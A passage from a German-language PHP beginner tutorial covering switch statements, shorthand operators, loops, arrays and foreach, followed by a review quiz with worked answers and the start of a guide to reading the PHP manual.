Innerhalb des Switchrumpfs fügt man nun case Zeilen ein, an die der PHP-Interpreter springt wenn der Ausdruck den selben Wert hat wie der der hinter dem case steht. Nach dem case Ausdruck folgt dann noch ein Doppelpunkt :.

<?php
switch ($var) {
case 
5:   // springe hier hin wenn 5 == $var gilt
case "b"// springe hier hin wenn "b" == $var gilt
}
?>

Dies hat also etwas von einem goto-Befehl, obwohl es in PHP keine solchen Befehle gibt. Wenn PHP zu einem case-Block hinspringt führt er den PHP-Code an dieser Stelle aus. Wenn er dabei auf weitere case-Zeilen stößt werden diese ignoriert. Dies bedeutet auch das er nicht automatisch beim nächsten case stoppt.

<?php
$var 
4;
switch (
$var) {
case 
0:
    echo 
"Ich werde nicht ausgeführt";
case 
4:
    echo 
"Ich schon";
case 
90:
    echo 
"Ich jedoch auch";
}
?>

Wenn dieses Verhalten nicht erwünscht ist kann man eine break Anweisung hinzufügen. Dies beendet dann den case-Teil und springt somit zum Ende der Switch-Abfrage.

<?php
$var 
4;
switch (
$var) {
case 
0:
    echo 
"Ich werde nicht ausgeführt";
    break;
case 
4:
    echo 
"Ich schon";
    break;
case 
90:
    echo 
"Ich nicht mehr";
    break; 
// theoretisch überflüssig, man ist eh schon am ende
}
?>

Falls eine switch-Abfrage keinen passendes case findet wird der default:-Teil angesprungen, falls vorhanden.

<?php
switch ($formaction) {
case 
'löschen':
    echo 
"Irgendwas wird nun gelöscht";
    break;
case 
'speichern':
    echo 
"Irgendwas wird nun gespeichert";
    break;
default:
    echo 
"Zeige etwas an, oder mache etwas, falls kein case-teil trifft";
    break;
case 
'neuladen'// kann gefunden werden und wird nicht automatisch durch default abgefangen 
    
echo "Etwas wird neu geladen";
    break;
}
?>

Obwohl es möglich ist ein solchen default:-Teil überall einzufügen sollte er jedoch wegen der Übersicht nur am Ende der Switch-Abfrage eingefügt werden. Dies vereinfacht das Lesen des PHP-Skripte. Zuerst prüft man die konkreten Werte und dann gibt es zum Schluss ein default-Teil der als letzte Möglichkeit ausgeführt wird (vergleichbar mit einem else bei Verkettetten if-else if-else if-...-else Abfragen).

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Kurzschreibweisen

  1. Zuweisungsoperatoren
  2. In-/Dekrementieren

1. Zuweisungsoperatoren

In PHP existieren einige Zuweisungsoperatoren die den Inhalt einer Variable relativ bearbeiten. Dabei wird die Variable nicht mit einem neuen Wert überschrieben sondern der Inhalt wird um einen Wert verändert.

<?php
$var 
5;

$var $var 10;

$var += 10;
?>

Die zweite Programmzeile addiert die Werte der Variablen und der Konstante zusammen und speichert das Ergebnis in die Variable. Die dritte Programmzeile hingegen verändert den Inhalt der Variable direkt ohne das rechts von einem Gleichheitszeichen ein Ausdruck ausgewertet werden muss. Dies ist also eine Kurzschreibweise für den Programmcode in Zeile 2. Bei dem += handelt es sich um einen fest definierten Operator, zwischen den beiden Zeichen darf kein Leerzeichen stehen.

<?php
$var 
5;

$var += 10;  // richtig
$var + = 10// falsch, ergibt ein Parse Error
?>

Diese Kurzschreibweisen gehen mit allen Grundrechenarten in PHP, auch mit / und %. Beim Teilen muss natürlich wieder drauf geachtet werden dass nicht durch 0 geteilt wird.

<?php
$var 
20;

$var +=4// $var == 24
$var *=4// $var == 96
$var -=4// $var == 92
$var /=4// $var == 23
$var %=4// $var == 3  (23/4 = 5 Rest 3)

?>

Diese Kurzschreibweise ist auch für den Verkettungsoperator . definiert um schnell und einfach neuen Text an einer Variable dranzuhängen.

<?php
$x 
5;

$string  "Hallo \n";
$string .= "So kann man gut Sätze anhängen.\n";
$string .= 'test';
$string .= 'Die Variable hat den Wert '.$x."\n";
?>

In der letzten Programmzeile wird der Ausdruck rechts vom Operator .= zuerst ausgerechnet und dann entsprechend der Variable angehängt.

2. In-/Dekrementieren

In einem Programmcode kommt es oft vor dass der Inhalt einer Variable um 1 erhöht bzw. verringert wird. Daher existieren in PHP Inkrement und Dekrement Operatoren die genau dies machen. Die Syntax ist angelehnt an der Programmiersprache C.

<?php
$name 
10;

$name++;    // Wert erhöhen um 1

echo $name// gibt 11 aus
?>

Dies war die Variante zum Inkrementieren, fürs Dekrementieren wird der ---Operator verwendet.

<?php
$name 
10;

$name--;    // Wert verringern um 1

echo $name// gibt 9 aus
?>

Für Multiplikation und Division existieren keine solche Operatoren, würden auch keinen Sinn ergeben. Diese Inkrement/Dekrement-Operatoren werden üblicherweise bei for-Schleifen verwendet um die Laufvariable entsprechend um 1 zu verändern.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Schleifen

  1. Sinn von Schleifen
  2. While-Schleifen
  3. Do-While-Schleife
  4. For-Schleife
  5. Wann While- und wann For-Schleifen?
  6. Continue und Break

1. Sinn von Schleifen

Schleifen dienen dazu einen Programmteil öfters hintereinander auszuführen ohne ihn mehrfach im Code zu schreiben. Der Schleifenrumpf wird dann jeweils mit leicht unterschiedlichen Variableninhalten durchlaufen. Des Weiteren wird die Anzahl der Schleifendurchläufe durch eine Bedingung kontrolliert. Wenn die Bedingung nach einem Durchlauf den Wert false ergibt so wird die Schleife beendet und der PHP-Code wird danach normal weitergearbeitet. So werden z.B. Newsbeiträge aus einer Datenbank ausgelesen. Solch eine Schleife sorgt dann dafür dass ein einzelner Newsbeitrag auf der Homepage ausgegeben wird. Wenn keine weiteren Newsbeiträge in der Datenbank vorhanden sind so ist die Schleife beendet und weiter PHP-Code kann folgen.

Es gibt 4 Arten von Schleifen in PHP, wobei hier erstmal nur 3 dargestellt werden. Der 4. Schleifentyp wird im Kapitel Arrays durchgenommen, da er ein Schleifenkonstrukt speziell für Arrays ist. Die anderen 3 Schleifentypen sind while, do-while und for.

2. While-Schleifen

Eine while-Schleife ist der einfachste Schleifentyp. Er besitzt einen Schleifenkopf in dem nur ein Ausdruck steht. Dieser Ausdruck wird vor jedem Schleifendurchlauf ausgewertet und auf Boolean geprüft. Wenn der Ausdruck true ergibt so wird der Schleifenrumpf ausgeführt. Danach beginnt die nächste Überprüfung des Schleifenkopfs. Wenn der Ausdruck false ergibt so wird die Schleife beendet bzw. übersprungen und der weitere PHP-Code wird ausgeführt. Da der Ausdruck ständig für einen neuen Schleifendurchlauf überprüft wird muss der Ausdruck irgendwann den Wert false liefern, damit die Schleife abgebrochen wird. Wenn dies nicht der Fall ist/wird so hat man eine Endlosschleife, das Skript terminiert nicht sauber und der Webserver bricht das Skript von sich aus mit einer entsprechenden Fehlermeldung (meist nach 30 Sekunden) ab.

Eine While-Schleife wird in PHP mit dem Schlüsselwort while eingeleitet. Danach folgt in runden Klammern (()) der zu prüfende Ausdruck. Dann folgt ein einzelne Anweisung oder mehrere Anweisungen in geschweiften Klammern ({}) die von der Schleife gesteuert werden. Obwohl eine einzelne Anweisung keine geschweiften Klammern benötigen, ist es wie bei einer if-Abfrage üblich trotzdem geschweifte Klammern zu verwenden, um die Übersichtlichbarkeit zu erhöhen.

<?php
while (isAutoDreckig()) {
    
Reinigen();
}
?>

Der Ausdruck für die Bedingung kann beliebig aufgebaut sein, jedoch muss er einen Wert zurückliefern der dann geprüft wird. Dies heißt auch dass logische Verknüpfungen wie and verwendet werden können.

3. Do-While-Schleife

Eine Do-While-Schleife besitzt wie die while-Schleife ein zu prüfender Ausdruck. Dieser steht jedoch am Ende der Schleife und wird auch erst an dieser Stelle überprüft. Da der Schleifenrumpf vor dem Schleifenkopf steht kann der Schleifenkopf erst nach einem Durchlauf überprüft werden. Dies bedeutet auch das eine Do-While-Schleife mindestens einmal durchlaufen wird, selbst wenn die Schleifenbedingung false ergibt. Dies ist auch der Unterschied zu einer While-Schleife. Wenn man möchte dass die Schleife mindestens 1 mal durchlaufen wird verwendet man eine Do-While-Schleife. Wenn die Schleife auch 0 mal durchlaufen werden soll verwendet man eine While-Schleife.

Eine Do-While-Schleife wird mit dem Schlüsselwort do eingeleitet. Danach folgt der Schleifenrumpf, also die Anweisungen die in einer Schleife ausgeführt werden sollen. Danach kommt das Schlüsselwort while, dann der zu prüfende Ausdruck in runden Klammern und dann (zwingend erforderlich) ein Semikolon. Bei einer While-Schleife ist ein Semikolon nicht Bestandteil der While-Schleife (so fehlerhaft wie bei if();), bei einer Do-While-Schleife hingegen pflicht.

<?php
do {
    
Verbinden();
    
$daten DatenAbfragen();
    
VerbindungBeenden();
} while (
$daten 40);
// was auch immer dieser Code machen wird...
?>

4. For-Schleife

Eine For-Schleife ist wie eine While-Schleife eine kopfgesteuerter Schleife (Do-While ist fussgesteuert). Der Schleifenkopf ist somit vor dem Schleifenrumpf. Auch er enthält eine zu prüfender Ausdruck. Zusätzlich zu einer While-Schleife enthält er noch 2 weitere Felder. Das eine Feld wird einmal zum Start ausgeführt, das andere Feld wird nach jedem Schleifendurchlauf ausgeführt.

Eine For-Schleife wird mit dem Schlüsselwort for eingeleitet. Danach folgen in runden Klammern die 3 Felder von der for-Schleife, getrennt mit ;. Nach dem Schleifenkopf folgt wie üblich der Schleifenrumpf mit den Anweisungen.

<?php
for (startanweisungbedingungdurchlaufanweisung) {
    
// anweisungen...
}
?>

Am Anfang wird der Teil startanweisung ausgeführt (einmal). Dann wird wie bei While die Bedingung bedingung geprüft und demnach entschieden ob der Schleifenrumpf ausgeführt werden soll oder nicht. Am Ende des Schleifendurchlaufs, aber vor der nächsten Überprüfung, wird der Teil durchlaufanweisung ausgeführt.

<?php
// gib die Zahlen von 0 bis 9 aus (bei 10 ist die Bedingung false)
for ($i=0$i<10$i++) {
    echo 
$i."\n";
}
?>

5. Wann While- und wann For-Schleifen?

Da man nun Ähnlichkeiten zwischen While- und For-Schleifen feststellt stellt sich nun die Frage in welcher Situation eine While-Schleife und wann eine For-Schleife verwendet wird. Unabhängig von dieser Antwort ist es erstmal möglich jede While-Schleife in eine For-Schleife umzuwandeln, indem man die Anweisungen aus dem For-Teil in den While-Rumpf packt und umgekehrt.

<?php
while (bedingung) {
   
anweisungen;
}
// umformen zu for:
for (;bedingung;) {
   
anweisungen;
}
?>
<?php
for (startbedingungdurchlauf) {
    
anweisungen;
}
// umformen zu while:
start;
while (
bedingung) {
    
anweisungen;
    
durchlauf;
}
?>

Die Anzahl der Anweisungen kann also kein Grund sein wann ein While- und wann eine For-Schleife verwendet wird. Eine For-Schleife benutzt man gegenüber einer While-Schleife wenn man schon zu Entwicklungszeit die Anzahl der Schleifendurchläufe kennt. Die Startanweisung und die Durchlaufanweisung realisieren daher eine Zählstruktur.

<?php
for ($i=0$i<10$i++) {
    
// mach was mit $i, wobei $i von 0 bis 9 läuft
}
?>

Eine While-Schleife verwendet man üblicherweise wenn man nicht die Anzahl der Schleifendurchläufe kennt (selbst wenn man sie im PHP-Skript berechnen könnte). Ein Beispiel wäre das Auslesen von Datensätzen aus einer Datenbank.

<?php
while (DatensaetzeVorhanden()) {
    
GibNaechstenDatensatzAus();
}
?>

Auch das Auslesen aus einer Datei folgt nach dem selben Prinzip obwohl man mit filesize die Dateigröße bestimmen könnte.

<?php
while (!Dateiende()) {
    
LeseEinZeichen();
}
?>

6. Continue und Break

Der Verlauf einer Schleife kann neben der Schleifenbedingung noch anders gesteuert werden. Eine Möglichkeit besteht ein return zu verwenden. Dies hat aber nichts speziell mit Schleifen zu tun, da man return (fast) überall verwenden kann. Für Schleifen gibt es jedoch noch die speziellen Ausdrücke continue und break.

Eine if-Abfrage kann auf diese Weise nicht verlassen (oder sogar neu durchlaufen werden) da eine if-Abfrage kein Schleifenkonstrukt ist. Sowas wie if (...) { .... break; ...} wird nur klappen wenn das ganze in einer Schleife steht und somit das break auf die Schleife angewendet werden kann.

Beide Konstrukte können optional eine Zahl angegeben werden die angibt die wievielte Schleife angesprechend werden soll. Die aktuelle/innerste Schleife ist dabei Nummer 1 und wird dann entsprechend der Verschachtelungen hochgezählt. Der Ausdruck break 1 ist äquivalent zu break.

<?php
$found 
false;
for (
$x=0$x<100$x++) {
    for (
$y=0$y<100$y++) {
        for (
$z=0$z<100$z++) {
            if (
PixelFarbe($x$y$z) == 0xFFCCFF) {
                
$found true;
                break 
3;
            }
        }
    }
}
?>

Diese verschachtelten Schleifen würden insgesammt 100*100*100 also 1.000.000 mal durchlaufen. Würde der Funktionsaufruf von PixelFarbe(int, int, int) nur 10µs dauern würde dieser Code 10 Sekunden laufen. Mit dem break 3 verlassen wir jedoch die 3 Schleifen, nachdem wir unseren Pixel gefunden haben und können so Zeit einsparen. Es ist klar wenn wir die Farbe nicht finden müssen wir trotzdem alle Pixel durchlaufen.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Arrays

  1. Aufbau von Arrays
  2. Verwenden von Arrays
  3. Foreach-Schleifen

1. Aufbau von Arrays

Arrays sind in PHP ein wichtiger Bestandteil. Formulardaten und URL-Parameter sind z.B. in Arrays abgelegt. Werte aus einer Datenbank werden in einem Array gespeichert. Alles was einer mathematischen Funktion entspricht wird in PHP mit einem Array dargestellt. Formal sind Arrays geordnete (nicht zu verwechseln mit sortiert) Paare von Schlüsseln und Werten. Die Schlüssel, endsprechend im englischen keys genannt, dürfen dabei nur aus Integer-Zahlen oder Strings bestehen. Die Werte sind hingegen nicht eingeschränkt, dürfen insbesondere auch ihrerseits Arrays enthalten. Ein einzelnes Element aus so einem Array verwendet man dann ganz normal wie Variablen.

2. Verwenden von Arrays

Arrays werden in PHP mit dem Sprachkonstrukt array erzeugt. Die Werte für das Array gibt man dann mit Kommatas getrennt als Parameter an.

<?php
$arr 
= array("foo""bar""bla"5.6false, -10"foo""foo""bar""foo");
?>

Dieses Array besitzt 10 Elemente. Die Schlüssel, oder auch Indizes (mehrzahl von Index), werden dann automatisch bestimmt, beginnent bei 0 aufsteigend. Somit gehört zum ersten aufgelisteten Arrayelement der Index 0, das letzte aufgelistete Arrayelement besitzt den Index 9. Dies kann auch mit der var_dump Funktion überprüft werden.

array(10) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "bla"
  [3]=>
  float(5.6)
  [4]=>
  bool(false)
  [5]=>
  int(-10)
  [6]=>
  string(3) "foo"
  [7]=>
  string(3) "foo"
  [8]=>
  string(3) "bar"
  [9]=>
  string(3) "foo"
}

Auf ein spezielles Arrayelement greifen wir mit eckigen Klammern und dem Index zu.

<?php
$arr 
= array("foo""bar""bla"5.6false, -10"foo""foo""bar""foo");
echo 
$arr[0]; // gibt foo aus
echo $arr[3]; // gibt 5.6 aus
echo $arr[4]; // gibt nichts aus, das liegt daran das 'bool(false)' für echo zu 'string(0) ""' wird
var_dump($arr[4]); // gibt bool(false); aus
?>

Wie man sieht können gleiche Werte im Array vorhanden sein, da sie sich im Schlüssel unterscheiden. So gibt es Arrayelemente mit dem Wert foo und den Indizes 0, 6, 7 und 9.

Die Werte eines Arrayelements können beliebig verändert werden indem der neue Wert wie bei einer Variablen zugewiesen wird.

<?php
$arr 
= array("eins""zwei");
$arr[1] = "fünf";
?>

Wenn es bereits ein Arrayelement mit dem angegebenen Index gibt so wird der alte Wert mit den neuen Wert überschrieben. Wenn es kein solches Arrayelement gibt wird ein neues Arrayelement an das Array angefügt, mit dem angegebenen Index und Wert. Damit ist es möglich zuerst ein leeres Array zu erzeugen und nachher dieses zu füllen.

<?php
$arr 
= array();
$arr[3] = "wert";
$arr[9] = "anderer wert";
var_dump($arr);
?>

Dieses var_dump erzeugt folgende Ausgabe.

array(2) {
  [3]=>
  string(4) "wert"
  [9]=>
  string(12) "anderer wert"
}

Hier sieht man die Arraygröße von 2, die Indizes 3 und 9 und die entsprechenden Werte wert und anderer wert. Wie gesagt sind die Werte nicht sortiert. Aber es gibt genügend Sortierfunktionen in PHP um Arrays zu sortieren.

Neben Zahlen können auch Strings als Schlüssel/Indizes verwendet werden.

<?php
$user 
= array();
$user['Name'] = 'Max Mustermann';
$user['Alter'] = 18;
$user['Wohnort'] = 'Deutschland';

echo 
'Mein Name ist '.$user['Name'].', ich bin '.$user['Alter'].' Jahre alt und lebe in '.$user['Wohnort'].".\n";

var_dump($user);
?>

Die Ausgabe ist dabei wie folgt:

Mein Name ist Max Mustermann, ich bin 18 Jahre alt und lebe in Deutschland.
array(3) {
  ["Name"]=>
  string(14) "Max Mustermann"
  ["Alter"]=>
  int(18)
  ["Wohnort"]=>
  string(11) "Deutschland"
}

Arrays die Strings als Indizes enthalten werden üblicherweise als assoziative Arrays bezeichnet. Im anderen Fall werden sie schlicht Array oder nummerische Arrays genannt.

Wenn bei einer Wertzuweisung der Index weggelassen wird (also nur $arr[]) so wird automatisch als Index der bisher größte Zahlenindex +1 verwendet, jedoch minimal der Wert 0, damit keine negativen Indizes erstellt werden (was jedoch möglich ist).

<?php
$foo 
= array();
$foo[] = "wert";   // Index 0 wird verwendet
$foo[] = "wert";   // Index 1 wird verwendet, höchster bisheriger Index ist 0
$foo[10] = "wert"// Index 10, wurde angegeben
$foo[] = "wert";   // Index 11, höchster bisheriger Index ist 10
var_dump($foo);

$foo = array();
$foo[-5] = "wert"// Index -5, wurde angegeben
$foo[] = "wert";   // Index 0, höchster bisheriger Index ist -5, neuer Index ist jedoch mindestens 0
var_dump($foo);
?>

Mit der entsprechenden Ausgabe zur Kontrolle.

array(4) {
  [0]=>
  string(4) "wert"
  [1]=>
  string(4) "wert"
  [10]=>
  string(4) "wert"
  [11]=>
  string(4) "wert"
}
array(2) {
  [-5]=>
  string(4) "wert"
  [0]=>
  string(4) "wert"
}

Die Indizes können auch innerhalb des array Konstrukts angegeben werden. Statt dem einfachen Wert hinzuschreiben fügt man vorher noch x => ein, wobei x der zu wählende Index ist.

<?php
$bar 
= array(=> "bar""foo");
// 2. Element bekommt den Index 6

$var = array(-10 => "abc""xyz");
// 2. Element bekommt den Index 0, s.o.

$var = array("Name" => "Max Mustermann""foobar");
// 2. Element bekommt den Index 0
?>

Um ein Arrayelement zu löschen wird die Funktion unset verwendet.

<?php
$arr 
= array();
$arr[] = "foo";
$arr[] = "bar";
$arr[] = "xyz";

unset (
$arr[1]); // das Element "bar"

var_dump($arr);
?>

Die Ausgabe zeigt nun dass das Arrayelement mit dem Index 1 gelöscht wurde, die Indizes 0 und 2 sind jedoch weiterhin vorhanden.

array(2) {
  [0]=>
  string(3) "foo"
  [2]=>
  string(3) "xyz"
}

Für Arrays können auch die Vergleichsoperatoren == und === verwendet werden, sowie der +-Operator. Zwei Arrays sind gleich (==) wenn sie die selben Arrayelemente besitzen und sind identisch (===) wenn die Arrayelemente in der selben Reihenfolge sind und die selben Typen haben.

<?php
var_dump
(array("x""y") == array(=> "y"=> "x"));  // bool(true)
var_dump(array("x""y") === array(=> "y"=> "x")); // bool(false)
?>

Mit dem +-Operator können Arrays zusammengepackt werden. Bereits verwendete Indizes werden nicht überschrieben. Wenn man alle Werte von mehrere Arrays zusammenpacken will muss man die array_merge Funktion verwenden.

<?php
var_dump
(array("x") + array("y"));
// Array mit einem Element 'x' und Index 0 (da beide Arrays den Index 0 benutzen)

var_dump(array_merge(array("x"), array("y")));
// Array mit beiden Elementen 'x' und 'y'
?>

3. Foreach-Schleifen

Für Arrays gibt es den speziellen Schleifentyp foreach. Mit diesem Schleifentyp werden die einzelnen Arrayelemente eines Arrays durchlaufen. Eine Foreach-Schleife beginnt mit dem Schlüsselwort foreach. Dann folgt nach der öffnenen Klammer das Array bzw. die Variable die das Array enthält welches durchlaufen werden soll. Danach folgt das Schlüsselwort as und eine neue Variable. In dieser Variable wird für jeden Schleifendurchlauf der neue Wert des nächsten Arrayelements gespeichert. Nach der folgenden schließenden Klammer beginnt der Schleifenrumpf.

<?php
$a 
= array("foo""bar""bla");
foreach (
$a as $value) {
    echo 
$value."\n";
}
// gibt nacheinander die Werte aus dem Array aus    
?>

Wenn man zusätzlich zu den Werten noch die entsprechenden Arrayindizes benötigt muss man vor der Schleifenvariable noch $var => schreiben. Auch hier kann der Variablennamen frei gewählt werden.

<?php
$user 
= array('Name' => "Max Mustermann",
              
'Alter' => 18,
              
'Wohnort' => 'Deutschland',
              
10 => 100);
foreach (
$user as $k => $v) {
    echo 
"Arrayelement mit dem Index '".$k."' enthält den Wert '".$v."'\n";
}
?>

Die Indizes werden z.B. dann gebraucht wenn in der Schleife Arrayelemente verändert werden sollen. Die Schleifendurchlaufvariablen enthalten nur Kopien der Arrayelemente. Wenn man nun ein Arrayelement verändern möchte muss man wie üblich über array[index] zugreifen.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Zwischenstand

  1. So weit, so gut

1. So weit, so gut

Nun wurden die Grundlagen von PHP besprochen. Es ist klar dass es noch viel mehr gibt, insbesondere Sachen wie OOP und Referenzen, geschweige denn von extensions wie mysqli. Dies ist jedoch ein guter Zeitpunkt um nochmal das gelernte Wissen zu prüfen. Daher existiert hier eine Menge von Fragen die ihr beantworten können müsst.

Fragen zum Kapitel

1. Wann benutzt man eine while, und wann eine for-Schleife?

Eine while-Schleife benutzt man, wenn man nicht weiß, wie oft diese Schleife durchlaufen wird. Die for-Schleife hat meistens den typischen Aufbau, dass eine Laufvariable bis zu einem bestimmten Wert von 0 immer um eins erhöht. Daher benutzt man eine for-Schleife dann, wenn man einen Programmteil eine ganz bestimmte Anzahl von Iterationen durchlaufen möchte.

2. Welche Kommentar-Typen gibt es?

Es gibt einmal einzeilige Kommentare die mit // eingeleitet werden. Und es gibt mehrzeilige Kommentare die mit /* (bzw. /**) beginnen und mit */ beenden.

3. Wie ist der Aufruf einer Funktion definiert?

Wenn eine Funktion aufgerufen werden soll, muss man den Namen der Funktion hinschreiben, Groß/Kleinschreibung ist dabei egal. Doch man sollte den Funktionsnamen klein schreiben. Danach kommen, durch Kommas getrennt und in Klammern gesetzt, die Parameter, die an eine Funktion gesendet werden sollen. Und danach muss dann der Funktionsaufruf mit ; abgeschlossen werden.

4. Was läuft auf dem Server, was auf dem Client?

PHP wird einzig und allein auf dem Server interpretiert und handelt auch nur da. Sachen wie "winamp starten" ist nicht möglich. Dafür, falls es überhaupt geht, gibt es Javascript, mit denen man eine Menge an Spielereien am Client machen kann. PHP selbst erstellt (in der Regel) nur ein HTML-Dokument.

5. Wie ziehe ich von einer Zahl 1 ab?

Es gibt 3 Möglichkeiten von einer Zahl 1 abzuziehen.

<?php
$var 
10;

$var $var 1;
$var -= 1;
$var--;
?>

6. Was für Variablentypen gibt es?

Es gibt folgende Variablentypen

  1. boolean

  2. integer

  3. float, double

  4. String

  5. Array

Folgende Typen habt ihr noch nicht kennengelernt.

  1. Object

  2. Resource

  3. Null

7. Wie füge ich 2 Strings, 2 Variablen oder 1 String und 1 Variable zusammen?

Ausdrücke können mit dem Punkt (.) zusammengehängen werden.

<?php
$string1 
"foo";
$string2 "bar";
            
$var "bla"."blu";
$var "bli".$string1;
$var $string1.$string2;
?>

8. Womit startet und endet ein PHP-Dokument?

Ein PHP-Dokument startet mit <?php und endet mit ?>.

9. Womit startet ein HTML-Dokument?

Ein HTML-Dokument startet mit dem DOCTYPE, welcher angibt, um was für ein HTML-Dokument es sich genau handelt.

10. Welche 2 Teile sendet der Server zum Client und in welcher Reihenfolge?

Zuerst sendet der Server die Headerangaben zur angeforderten Datei. Danach kommt der eigentliche Inhalt der Datei. Wenn bereits etwas Dateiinhalt gesendet wurde (sei es nur ein Leerzeichen oder Enter), können die Headerangaben nicht mehr geändert werden.

11. Was ergibt (!(!true XOR true) AND !(!false OR !true)) XOR (false OR (true XOR !false))

Dies ergibt false.

(!(!true XOR true) AND !(!false OR !true)) XOR (false OR (true XOR !false))
(!(false XOR true) AND !( true  OR false)) XOR (false OR (true XOR  true ))
(!(     true     ) AND !(       true    )) XOR (false OR (    false      ))
(     false        AND       false       ) XOR (false OR      false       )
(                 false                  ) XOR (          false           )
                                      false
            

12. Was ist der Unterschied zwischen \n und <br />?

\n ist ein Stringsteuerzeichen in PHP und bewirkt das an dieser Stelle ein Zeilenumbruch im Quelltext vorgenommen wird. <br /> hingegen ist ein HTML-Element und bricht an dieser Stelle ein Text im Browser um z.B. ein Text in einem <p>-Element.

13. Wann wird ein else-Teil ausgeführt?

Wenn der Ausdruck im if den boolischen Wert false ergibt, so wird der else-Teil von if-else ausgeführt.

14. Was macht break; und was macht continue;?

break; beendet eine aktuelle Schleife oder ein switch und arbeitet dann im Code weiter. continue; veranlasst den nächsten Schleifendurchlauf einer Schleife. Bei einer for-Schleife wird zusätzlich noch die Durchlaufanweisung ausgeführt.

15. Was ist als Index für ein Arrayelement gültig?

Als Index für ein Arrayelement sind nur Integer-Zahlen und Strings erlaubt.

16. Schreiben sie ein Script, welches die Zahlen von -10 bis +10 in ein Array schreibt

<?php
$array 
= array(); // ein leeres Array erzeugen

for ($i=-10$i<=10$i++) {
    
$array[] = $i;
}
// einfacher: $array = range(-10, 10);
?>

17. Schreiben sie ein Script, welches alle geraden Zahlen von $start bis $stop in ein Array schreibt

<?php
// $start und $stop muessen zuvor natuerlich belegt werden.

$array = array(); // ein leeres Array erzeugen

if ($start%2) { // Wenn die Division durch 2 einen Rest ergibt
    
$start++; // Erhöhe die Variable um 1
}
for (
$i=$start$i<=$stop$i+=2) {
    
$array[] = $i;
}
?>

18. Schreiben sie ein Script, das bei einer Integer-Zahl die Einer- und Zehnerstellen auf 0 setzt

<?php
$zahl 
3463// zum Beispiel
$rest $zahl 100;
$zahl -= $rest;
echo 
$zahl;
           
/* kürzere Version

$zahl -= $zahl % 100;

*/
?>

Aufbau des PHP-Handbuchs

  1. Das PHP-Handbuch (Manual)
  2. Finden einer Funktionsbeschreibung
  3. Lesen und Verstehen einer Funktionsbeschreibung
  4. Funktionsbeschreibung zu sort

1. Das PHP-Handbuch (Manual)

Auf der offiziellen Homepage von PHP befindet sich neben den Quellcodes und Downloads zu PHP auch das Handbuch zu PHP. Neben den Grundlegenden Themen zum Skriptaufbau und Sicherheit besteht das Handbuch hauptsächlich aus einer Liste von Funktionen und Klassen die in PHP (je nach Installation) bereit stehen. Diese Funktionen sind dabei noch in Gruppen unterteilt. So gibt es z.B. Funktionsgruppen zu String und MySQL.

2. Finden einer Funktionsbeschreibung

Trotz der Tatsache das im Handbuch eine Liste der Funktionsbeschreibungen vorhanden ist muss zuerst die passende Funktion gefunden werden. Als erstes sollte man in der Funktionsreferenz nachgucken, insbesondere in den Funktionsgruppen. Eine Funktion die ein Array sortieren soll wird wohl in der Gruppe Arrays zu finden sein, eine Funktion um Texte in einem String zu ändern wohl in der Gruppe Strings. In einer solchen Gruppen finden sich neben allgemeinen Informationen wie Installation, Einstellungen und Beispielen (zu diesen Gruppen) auch eine Liste der Funktionen die zu dieser Gruppe gehören und ein Kurztext was diese leisten. So würde man in der Gruppe Arrays die Funktion sort finden mit der Beschreibung Sort an array. Ein Klick auf den Link bringt einen zu der entsprechenden Funktionsbeschreibung.

Die für den Programmierer einfachere Lösung (aber für Helfer und Forum-Moderatoren nervigere Lösung) wäre einfach eine entsprechende Frage zu stellen wie eine solche Funktion in PHP heißt.

<user> ich hab ein Problem, ich hab mit php nun ein array
       erstellt, jedoch sind die werte total unsortiert, wie sortiere ich die?
<helfer> sort
<helfer2> mit usort
<helfer3> du kennst www.php.net?
<helfer4> probier mal sort()
You have been kicked from #helpchannel by operator3 (sort(), und nächste mal das handbuch auf www.php.net/manual lesen)
        

In den meisten Fällen handelt es sich um ein Funktionsname. Nun kann im Handbuch die entsprechenden Funktionsbeschreibung aufgerufen werden. Dazu gibt es mehrere Möglichkeiten.

  1. Auf der Homepage gelankt man mit dem Link documentation oben im Menu in das Handbuch. Obwohl das Handbuch in mehreren Sprachen verfügbar ist sollte stehts English verwendet werden, da die englische Version immer stehts die aktuelle Funktionsbeschreibung enthält. In der englischen Version befindet sich die Funktionsgruppen in einem Unterpunkt namens Function Reference. Da die zu suchende Funktion wohl zu Arrays gehören klickt man auf Arrays. Ganz unten in der Gruppenbeschreibung findet sich eine sortierte Liste von den Funktionen in dieser Gruppe. Dort findet sich entsprechend auch ein Eintrag zu sort mit der Kurzbeschreibung Sort an array. Mit einem Klick gelangt man zu der entsprechenden Funktionsbeschreibung.

  2. Auf der Homepage befindet sich oben rechts ein Eingabefeld für die Suche auf der Homepage. Standardmäßig wird nur in der Funktionsreferenz gesucht, kann jedoch entsprechend geändert werden wenn man weiß wo man suchen möchte. Dort kann der Name der Funktion eingegeben und durch die Suche gelangt man zu der entsprechenden Funktionsbeschreibung. Wenn die Suche keinen Treffer ergab so gibt sie wenigstens eine Liste von Funktionen aus, die so ähnlich klingen. Somit kann auch eine Funktion gefunden deren Namen vielleicht erst falsch geschrieben wurde.

  3. Am einfachsten ist der Aufruf der URL http://www.php.net/FUNKTIONSNAME wobei FUNKTIONSNAME die Funktion ist, von der man die Funktionsbeschreibung haben möchte. So ein Aufruf der URL ruft automatisch die Suche der Homepage auf und in den meisten Fällen gelangt man so zu der entsprechenden Funktionsbeschreibung.

3. Lesen und Verstehen einer Funktionsbeschreibung

Obwohl es einfacher ist eine Funktionsbeschreibung in der Muttersprache zu lesen ist es sinnvoller die Sprache einer Funktionsbeschreibung auf English zu stellen. Dazu befindet sich in der Dropdown-Liste oberhalb der aktuellen Funktionsbeschreibung der Eintrag English mit der entsprechend die Sprache umgestellt werden kann.

Nach dem Namen der Funktionsbeschreibung ist eine Angabe ab welche Versionen diese Funktion in PHP implementiert wurde und danach die Kurzbeschreibung der Funktion.

